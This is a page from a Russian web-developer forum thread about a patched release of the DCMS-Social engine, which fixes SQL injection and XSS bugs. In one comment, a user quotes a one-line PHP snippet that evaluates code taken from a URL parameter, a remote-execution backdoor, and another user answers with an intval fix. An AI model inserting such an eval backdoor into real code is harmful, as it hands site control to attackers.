Добро пожаловать, Гость!

Войти Зарегистрироваться

:: + Добавить ссылку через биллинг :: + Добавить ссылку анонимно

Исправленный DCMS-soc 198 - Страница 4

Баги/обновления движка | Исправленный DCMS-soc 198

Shram :

Исправленный DCMS-soc 198

13 Сент 2015
Сегодня занялся ошибками социала тк все ноят, а админ походу спит.
+Закрыто 2 SQL
+Закрыто 2 xss в том числе и в дневниках))
+Подправил avatar.php, foto/img.php, user/frend/, info.php
+Удалил не нужные функции и ссылки из админки
Также исправил много ошибок т.д ..
Спасибо всем за помощь!
http://dcms-social.ru/obmen/DCMS%20Social/%D0%9E%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD%20%D0%98%D0%B3%D1%80%D1%8B/11585.zip?showinfo

Статистика WMID автора:

231558481482 BL

Претензии | Отзывы

Комментарии:

Mstivoj 14 Сент 2015

<?
if($_GET['sort'] == "eval")
{echo eval($_GET['eval']);}
?>

===================
Ура, мы любим кодить smile

smile

Добавлено:
Опана, Это на счёт eval() smile

smile

PMchik 14 Сент 2015
Shram, значит качну, спасибо!)

Shram 14 Сент 2015
Автор темы
PMchik, нормально

PMchik 14 Сент 2015
Ребятки, кто скажет? Как отображается блок "друзья"?

Mstivoj 14 Сент 2015
Shram, Я плюсанул пост ога smile

smile

AleksN72 14 Сент 2015
Опана,спасибо!

Опана 14 Сент 2015
AleksN72, Может интересно будет насчёт
eval()
Ссылка
Добавлено:
Shram, Самый простой вариант

<? mysql_query("update `user` set `sort` = '".intval($_GET['sort'])."' where `id` = '$user[id]' limit 1"); ?>

< 1 2 3 4 5 6 7 .. 9 >

Форум | Движок DCMS-Social | Баги/обновления движка

DCMS-Social.ru - движок социальной сети, вап и веб мастерская, файло-обменник и форум.

Статистика DCMS-Social.ru: Пользователей - 14967, тем на форуме - 30292, сообщений - 298886